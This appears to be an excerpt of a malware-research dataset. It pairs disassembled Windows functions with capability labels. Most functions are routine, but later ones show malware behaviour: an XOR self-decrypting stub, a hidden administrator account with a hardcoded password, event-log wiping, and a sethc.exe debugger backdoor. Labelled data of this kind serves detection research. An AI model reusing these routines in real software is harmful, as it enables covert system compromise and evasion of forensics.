joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4de194
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push dword [ebp + 0x10]
call fcn.004d944d
mov dword [ebp - 4], eax
push 0x80000301
push 0
push 0xff
push 1
mov ebx, 0x184
call fcn.004e3f70
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4de1eb
push ebx
call fcn.004e36ba
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0
push dword [ebp - 4]
push dword [ebp - 8]
push 0
call dword [sym.imp.shell32.dll_SHGetSpecialFolderPathA_1]
nop
nop
nop
nop
cmp dword [ebp - 0xc], esp
je 0x4de21e
push 6
call fcn.004e36cc
add esp, 4
mov dword [ebp - 0xc], 0
push 0
push dword [ebp - 0xc]
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call fcn.004d994b
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4de246
push ebx
call fcn.004e36ba
add esp, 4
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4e4090
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x4e40ae
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x4e40a3
pop esi
ret

Function at 0x4e47d0
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
test ebx, ebx
push edi
jne 0x4e47e3
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
push ebx
call fcn.004e68d0
add esp, 4
test eax, eax
jne 0x4e47f5
pop edi
pop esi
pop ebp
pop ebx
ret
mov edi, dword [esp + 0x24]
test edi, edi
jg 0x4e4804
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov eax, dword [ebx]
xor esi, esi
cmp eax, 1
jne 0x4e485b
mov ebx, dword [ebx + 4]
push edi
call fcn.004fa01c
add esp, 4
mov ebp, eax
lea eax, [esp + 0x18]
push esi
push eax
push edi
push ebp
push ebx
call dword [sym.imp.kernel32.dll_ReadFile_1]
test eax, eax
jne 0x4e483e
push ebp
call fcn.004fa045
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov ecx, dword [esp + 0x18]
push ecx
push ebp
call fcn.004e5fb0
push ebp
mov esi, eax
call fcn.004fa045
add esp, 0xc
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret
cmp eax, 2
jne 0x4e489d
mov ebx, dword [ebx + 4]
lea edx, [edi + 8]
push edx
call fcn.004e3920
mov esi, eax
add esp, 4
lea ecx, [esi + 8]
mov dword [esi], 1
mov dword [esi + 4], edi
mov eax, dword [ebx]
push edi
push ecx
mov ecx, ebx
call dword [eax + 0x20]
test eax, eax
jne 0x4e489a
push esi
call fcn.004e39b0
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov dword [esi + 4], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4e4d70
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
push esi
mov esi, dword [esp + 0x14]
test esi, esi
jne 0x4e4d83
xor eax, eax
pop esi
add esp, 8
ret
push esi
call fcn.004e68d0
add esp, 4
test eax, eax
jne 0x4e4d95
pop esi
add esp, 8
ret
mov eax, dword [esi]
push ebx
mov ebx, 1
push ebp
cmp eax, ebx
push edi
mov dword [esp + 0x10], 0
jne 0x4e4e0c
mov eax, dword [esp + 0x1c]
mov edi, dword [esi + 4]
cmp eax, ebx
mov dword [esp + 0x10], ebx
jle 0x4e4e3e
mov ebp, dword [sym.imp.kernel32.dll_WriteFile_1]
lea esi, [esp + 0x2c]
mov eax, dword [esi]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
push eax
push ecx
push edi
call ebp
test eax, eax
je 0x4e4df8
mov eax, dword [esp + 0x1c]
inc ebx
add esi, 0xc
cmp ebx, eax
jl 0x4e4dc8
mov eax, dword [esp + 0x10]
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret
pop edi
mov dword [esp + 0xc], 0
mov eax, dword [esp + 0xc]
pop ebp
pop ebx
pop esi
add esp, 8
ret
cmp eax, 2
jne 0x4e4e3e
mov eax, dword [esp + 0x1c]
mov esi, dword [esi + 4]
cmp eax, ebx
mov dword [esp + 0x10], ebx
jle 0x4e4e3e
lea edi, [esp + 0x2c]
lea ebx, [eax - 1]
mov eax, dword [edi]
mov edx, dword [esi]
mov ecx, dword [eax + 4]
add eax, 8
push ecx
push eax
mov ecx, esi
call dword [edx + 0x24]
add edi, 0xc
dec ebx
jne 0x4e4e27
mov eax, dword [esp + 0x10]
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret
Function at 0x4e5130
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
mov esi, dword [esp + 0x1c]
test esi, esi
push edi
jne 0x4e5149
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
push esi
call fcn.004e68d0
add esp, 4
test eax, eax
jne 0x4e515e
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
mov ebp, dword [esp + 0x2c]
test ebp, ebp
jg 0x4e5170
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
mov eax, dword [esi]
mov dword [esp + 0x20], 0
cmp eax, 1
jne 0x4e524e
mov edi, dword [esi + 4]
push eax
push 0
push 0
push edi
call dword [sym.imp.kernel32.dll_SetFilePointer_1]
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [esp + 0x10], ebx
jne 0x4e51a7
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret
push 0
push edi
mov dword [esp + 0x28], 1
call dword [sym.imp.kernel32.dll_GetFileSize_1]
mov esi, eax
sub esi, ebp
sub esi, ebx
test esi, esi
jle 0x4e523b
push esi
call fcn.004fa01c
add esp, 4
mov ebx, eax
push 1
push 0
push ebp
mov ebp, dword [sym.imp.kernel32.dll_SetFilePointer_1]
push edi
call ebp
lea eax, [esp + 0x14]
push 0
push eax
push esi
push ebx
push edi
call dword [sym.imp.kernel32.dll_ReadFile_1]
test eax, eax
jne 0x4e5202
push ebx
call fcn.004fa045
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
mov ecx, dword [esp + 0x10]
push 0
push 0
push ecx
push edi
call ebp
lea edx, [esp + 0x14]
push 0
push edx
push esi
push ebx
push edi
call dword [sym.imp.kernel32.dll_WriteFile_1]
test eax, eax
jne 0x4e5226
mov dword [esp + 0x20], eax
push ebx
call fcn.004fa045
mov eax, dword [esp + 0x24]
add esp, 4
test eax, eax
je 0x4e52c3
push edi
call dword [sym.imp.kernel32.dll_SetEndOfFile_1]
mov eax, dword [esp + 0x20]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
cmp eax, 2
jne 0x4e52c3
mov esi, dword [esi + 4]
mov ecx, esi
mov eax, dword [esi]
call dword [eax + 0x14]
mov ecx, esi
mov ebx, eax
call fcn.004e6970
mov edi, eax
mov dword [esp + 0x20], 1
sub edi, ebp
sub edi, ebx
test edi, edi
jle 0x4e52bb
mov edx, dword [esi]
push 1
push ebp
mov ecx, esi
call dword [edx + 0x18]
push edi
call fcn.004fa01c
add esp, 4
mov ebp, eax
mov eax, dword [esi]
mov ecx, esi
push edi
push ebp
call dword [eax + 0x20]
mov edx, dword [esi]
push 0
push ebx
mov ecx, esi
call dword [edx + 0x18]
mov eax, dword [esi]
push edi
push ebp
mov ecx, esi
call dword [eax + 0x24]
mov edx, dword [esi]
mov ecx, esi
call dword [edx + 0x14]
push ebp
mov ebx, eax
call fcn.004fa045
add esp, 4
mov eax, dword [esi]
push ebx
mov ecx, esi
call dword [eax + 0x1c]
mov eax, dword [esp + 0x20]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret

Function at 0x4e52d0
Capabilities:
Get file size

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
jne 0x4e52de
or eax, 0xffffffff
pop esi
ret
push esi
call fcn.004e68d0
add esp, 4
test eax, eax
jne 0x4e52f0
or eax, 0xffffffff
pop esi
ret
mov ecx, dword [esi]
or eax, 0xffffffff
cmp ecx, 1
jne 0x4e530b
mov esi, dword [esi + 4]
lea eax, [esp + 0xc]
push eax
push esi
call dword [sym.imp.kernel32.dll_GetFileSize_1]
pop esi
ret
cmp ecx, 2
jne 0x4e5318
mov ecx, dword [esi + 4]
call fcn.004e6970
pop esi
ret
Function at 0x4e5660
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x144
push ebx
mov ebx, dword [esp + 0x14c]
push ebp
mov ebp, dword [esp + 0x15c]
push esi
push edi
mov esi, dword [ebp]
mov dword [esp + 0x10], 0
test ebx, ebx
je 0x4e56eb
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4e56eb
test esi, esi
je 0x4e56a5
cmp esi, 0xffffffff
je 0x4e56a5
push esi
call dword [sym.imp.kernel32.dll_FindClose_1]
lea eax, [esp + 0x14]
push eax
push ebx
call dword [sym.imp.kernel32.dll_FindFirstFileA_1]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp], esi
je 0x4e5731
mov eax, dword [esp + 0x160]
test eax, eax
je 0x4e56d4
mov ecx, dword [esp + 0x14]
and ecx, 0x10
cmp cl, 0x10
je 0x4e56eb
jmp 0x4e56e3
mov edx, dword [esp + 0x15c]
mov eax, dword [esp + 0x14]
test edx, eax
je 0x4e56eb
mov dword [esp + 0x10], 1
test esi, esi
je 0x4e5731
cmp esi, 0xffffffff
je 0x4e5731
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x4e5768
mov eax, dword [esp + 0x160]
mov edi, dword [sym.imp.kernel32.dll_FindNextFileA_1]
test eax, eax
lea eax, [esp + 0x14]
push eax
push esi
je 0x4e573e
call edi
test eax, eax
je 0x4e5731
mov ecx, dword [esp + 0x14]
and ecx, 0x10
cmp cl, 0x10
jne 0x4e5768
lea edx, [esp + 0x14]
push edx
push esi
call edi
test eax, eax
jne 0x4e5719
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x144
ret
call edi
test eax, eax
je 0x4e5731
mov ebx, dword [esp + 0x15c]
test dword [esp + 0x14], ebx
jne 0x4e5768
lea ecx, [esp + 0x14]
push ecx
push esi
call edi
test eax, eax
jne 0x4e574b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x144
ret
lea edi, [esp + 0x40]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
call fcn.004e3920
mov edx, eax
lea edi, [esp + 0x44]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x144
ret

Function at 0x4e57d0
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x10]
push edi
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.kernel32.dll_CreateFileA_1]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x4e5862
mov eax, dword [esp + 0x10]
push ebx
mov ebx, 1
push ebp
cmp eax, ebx
push esi
mov dword [esp + 0x10], ebx
jle 0x4e5854
mov ebp, dword [sym.imp.kernel32.dll_WriteFile_1]
lea esi, [esp + 0x2c]
mov eax, dword [esi]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
push eax
push ecx
push edi
call ebp
test eax, eax
je 0x4e584c
mov eax, dword [esp + 0x1c]
inc ebx
add esi, 0xc
cmp ebx, eax
jl 0x4e5815
push edi
call dword [sym.imp.kernel32.dll_CloseHandle_1]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
mov dword [esp + 0x10], 0
push edi
call dword [sym.imp.kernel32.dll_CloseHandle_1]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
Function at 0x4e5870
Capabilities:
Create directory

Disassembly:
sub esp, 0xc
mov ecx, dword [esp + 0x14]
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp + 8], eax
lea eax, [esp]
mov dword [esp], 0xc
push eax
push ecx
call dword [sym.imp.kernel32.dll_CreateDirectoryA_1]
add esp, 0xc
ret

Function at 0x4e9cc0
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + 0x6e15f7]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x6e1587]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x4e9cd3
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x4e9d14
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x6e162f]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x4e9d46
mov bl, byte [esp + ecx + 0x4c]
jmp 0x4e9d4a
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x4e9d3b
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x4e9d68
mov bl, byte [esp + ecx + 0x4c]
jmp 0x4e9d6c
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x4e9d5d
xor ecx, ecx
mov eax, 0x6e1597
xor ebx, ebx
mov bl, byte [ecx + 0x6e163f]
cmp byte [esp + ebx + 0x14], 0
je 0x4e9d97
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0x6e1657]
cmp byte [esp + ebx + 0x14], 0
je 0x4e9dae
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, 0x6e15f7
jl 0x4e9d7e
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x4e9d07
lea edx, [esp + 0x84]
push edx
call fcn.004e9df0
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x5019d0
Capabilities:
Encrypt data using des

Disassembly:
sub esp, 0xf4
xor ecx, ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x104]
push edi
xor eax, eax
mov al, byte [ecx + str.80_]
mov edx, eax
and eax, 7
sar edx, 3
mov bl, byte [eax*2 + 0x6f69fc]
mov dl, byte [edx + esi]
test bl, dl
setne al
mov byte [esp + ecx + 0x4c], al
inc ecx
cmp ecx, 0x38
jl 0x5019e3
mov eax, 0x1e
xor edx, edx
mov dword [esp + 0x10], eax
cmp dword [esp + 0x10c], 1
je 0x501a24
lea eax, [edx + edx]
lea edi, [esp + eax*4 + 0x88]
lea ebp, [esp + eax*4 + 0x84]
xor eax, eax
xor ecx, ecx
mov cl, byte [edx + 0x6f6aa4]
mov dword [edi], 0
mov dword [ebp], 0
mov esi, ecx
cmp ecx, 0x1c
jge 0x501a56
mov bl, byte [esp + ecx + 0x4c]
jmp 0x501a5a
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x1c
jl 0x501a4b
mov eax, 0x1c
lea ecx, [esi + 0x1c]
cmp ecx, 0x38
jge 0x501a78
mov bl, byte [esp + ecx + 0x4c]
jmp 0x501a7c
mov bl, byte [esp + ecx + 0x30]
mov byte [esp + eax + 0x14], bl
inc eax
inc ecx
cmp eax, 0x38
jl 0x501a6d
xor ecx, ecx
mov eax, 0x6f6a0c
xor ebx, ebx
mov bl, byte [ecx + 0x6f6ab4]
cmp byte [esp + ebx + 0x14], 0
je 0x501aa7
mov esi, dword [eax]
mov ebx, dword [ebp]
or ebx, esi
mov dword [ebp], ebx
xor ebx, ebx
mov bl, byte [ecx + 0x6f6acc]
cmp byte [esp + ebx + 0x14], 0
je 0x501abe
mov esi, dword [eax]
mov ebx, dword [edi]
or ebx, esi
mov dword [edi], ebx
add eax, 4
inc ecx
cmp eax, str.80_
jl 0x501a8e
mov eax, dword [esp + 0x10]
inc edx
sub eax, 2
cmp eax, 0xfffffffe
mov dword [esp + 0x10], eax
jg 0x501a17
lea edx, [esp + 0x84]
push edx
call fcn.00501b00
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xf4
ret
Function at 0x517b44
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x51f2c4
call fcn.00507454
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 0x48]
mov edi, dword [esi + 0x44]
mov dword [ebp - 0x18], eax
call fcn.0051d2aa
cmp dword [esi + 0x40], 0
mov ebx, dword [eax + 0xc]
je 0x517b83
call fcn.0051d2aa
mov ebx, dword [eax + 0xc]
push 5
push dword [esi + 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x517b91
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x517b9f
or eax, 0xffffffff
jmp 0x517c87
mov ecx, esi
call fcn.00517aba
mov dword [ebp - 0x14], eax
call fcn.00518b2e
xor edi, edi
cmp dword [ebp - 0x14], edi
mov dword [ebp - 0x20], edi
je 0x517bd6
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x517bd6
push edi
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x20], 1
push esi
mov dword [ebp - 4], edi
call fcn.00518ae2
push dword [ebp - 0x14]
call fcn.00518613
push ebx
push eax
push dword [ebp - 0x18]
mov ecx, esi
call fcn.00517852
cmp eax, edi
je 0x517c49
test byte [esi + 0x24], 0x10
je 0x517c17
push 4
mov ecx, esi
pop ebx
call fcn.00518013
test ah, 1
je 0x517c0f
push 5
pop ebx
push ebx
mov ecx, esi
call fcn.0051a638
cmp dword [esi + 0x1c], edi
je 0x517c49
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.00518047
jmp 0x517c49
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], edi
je 0x517c5d
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x517c76
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x1c]
jne 0x517c76
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x58]
mov ecx, esi
call fcn.00517af4
mov eax, dword [esi + 0x2c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x51a4e6
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x51a528
call fcn.0051d2aa
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x51a528
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x51a51f
xor eax, eax
jmp 0x51a530
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0051a536
pop edi
pop esi
pop ebx
ret 4
Function at 0x51d840
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x51d86e
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x51d88c
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0051d7a6
jmp 0x51d88c
mov eax, dword [esi + 0x14]
test eax, eax
je 0x51d88c
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0051d7a6
test edi, edi
mov eax, edi
jne 0x51d876
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x100037e0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 0xc], 0
jmp 0x10003805
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp + 0xc]
jae 0x10003878
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 8]
xor ecx, edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 8]
shr eax, 8
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 0
jmp 0x1000383a
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 8
jge 0x1000386d
mov edx, dword [ebp - 0x10]
and edx, 1
neg edx
sbb edx, edx
neg edx
mov byte [ebp - 0x15], dl
mov eax, dword [ebp - 0x10]
shr eax, 1
mov dword [ebp - 0x10], eax
movzx ecx, byte [ebp - 0x15]
test ecx, ecx
je 0x1000386b
mov edx, dword [ebp - 0x10]
xor edx, 0xedb88320
mov dword [ebp - 0x10], edx
jmp 0x10003831
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x100037fc
mov eax, dword [ebp - 8]
not eax
mov esp, ebp
pop ebp
ret

Function at 0xdb4b58
Capabilities:
Encode data using xor

Disassembly:
jmp 0xdb4b62
pushal
call 0xdb4b68
pop ebp
sub ebp, 0x10
sub ebp, 0x9b4b58
jmp 0xdb4b7e
mov eax, 0x9b4b58
add eax, ebp
add eax, 0x4c
mov ecx, 0x5cd
mov edx, 0x18574101
xor byte [eax], dl
inc eax
dec ecx
jne 0xdb4b95
jmp 0xdb4ba8
mov cl, ah
mov cl, byte [eax + 0x101013d]
add al, 0xf9
add dword [ecx], eax
add dword [edx], eax
int3

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10001040
Capabilities:
Create udp socket
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push esi
push eax
mov esi, ecx
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp eax, 0xffffffff
jne 0x10001068
xor eax, eax
pop esi
add esp, 0x190
ret
push 0
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 4], eax
jne 0x10001086
xor eax, eax
pop esi
add esp, 0x190
ret
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov ecx, dword [esi + 4]
push 1
push eax
push ecx
mov dword [esi + 8], eax
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
push 0x1000e234
push 0x10f
call fcn.100051e6
add esp, 8
mov dword [esi + 0x10], eax
test eax, eax
jne 0x100010bd
pop esi
add esp, 0x190
ret
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov word [esi + 0xc], ax
mov eax, 1
pop esi
add esp, 0x190
ret

Function at 0x10001100
Capabilities:
Set registry value

Disassembly:
sub esp, 0x108
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
mov edx, dword [esp + 0x110]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push edx
lea eax, [esp + 0xc]
push 0x10010064
push eax
mov dword [0x1001031c], edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [esp + 4]
push ecx
push str.SoftwareODBC
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
pop edi
jne 0x10001180
lea edx, [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [esp]
lea eax, [eax + eax + 1]
lea ecx, [esp + 4]
push eax
push ecx
push 1
push 0
push 0x10010050
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 0x108
ret

Function at 0x100011a0
Capabilities:
Add user account
Add user account to group

Disassembly:
sub esp, 0x28
lea eax, [esp]
push esi
lea ecx, [esp + 0xc]
push eax
xor esi, esi
push ecx
push 1
push esi
mov dword [esp + 0x14], esi
mov dword [esp + 0x1c], str.SUPPORT_388945c0
mov dword [esp + 0x20], str.Abc159753_
mov dword [esp + 0x28], 1
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], esi
mov dword [esp + 0x34], 1
mov dword [esp + 0x38], esi
call sub.NETAPI32.dll_NetUserAdd
test eax, eax
jne 0x10001212
mov edx, dword [esp + 0xc]
lea eax, [esp + 8]
push 1
push eax
push 3
push str.Administrators
push esi
mov dword [esp + 0x1c], edx
call sub.NETAPI32.dll_NetLocalGroupAddMembers
neg eax
sbb eax, eax
pop esi
inc eax
add esp, 0x28
ret
xor eax, eax
pop esi
add esp, 0x28
ret
Function at 0x10001220
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x10001270
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x10001257
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x10001290
Capabilities:
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp + 4]
mov dword [esp + 4], 0
push eax
push 0x2001f
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options
push 0x80000002
mov dword [esp + 0x14], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000131a
mov edx, dword [esp + 4]
push esi
lea ecx, [esp + 4]
push eax
push ecx
push eax
push 0x2001f
push eax
push eax
push eax
push str.sethc.exe
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x10001312
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 4]
push 0xfe
push eax
push 1
push 0
push str.Debugger
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 4]
push edx
call esi
mov eax, dword [esp + 8]
push eax
call esi
pop esi
add esp, 8
ret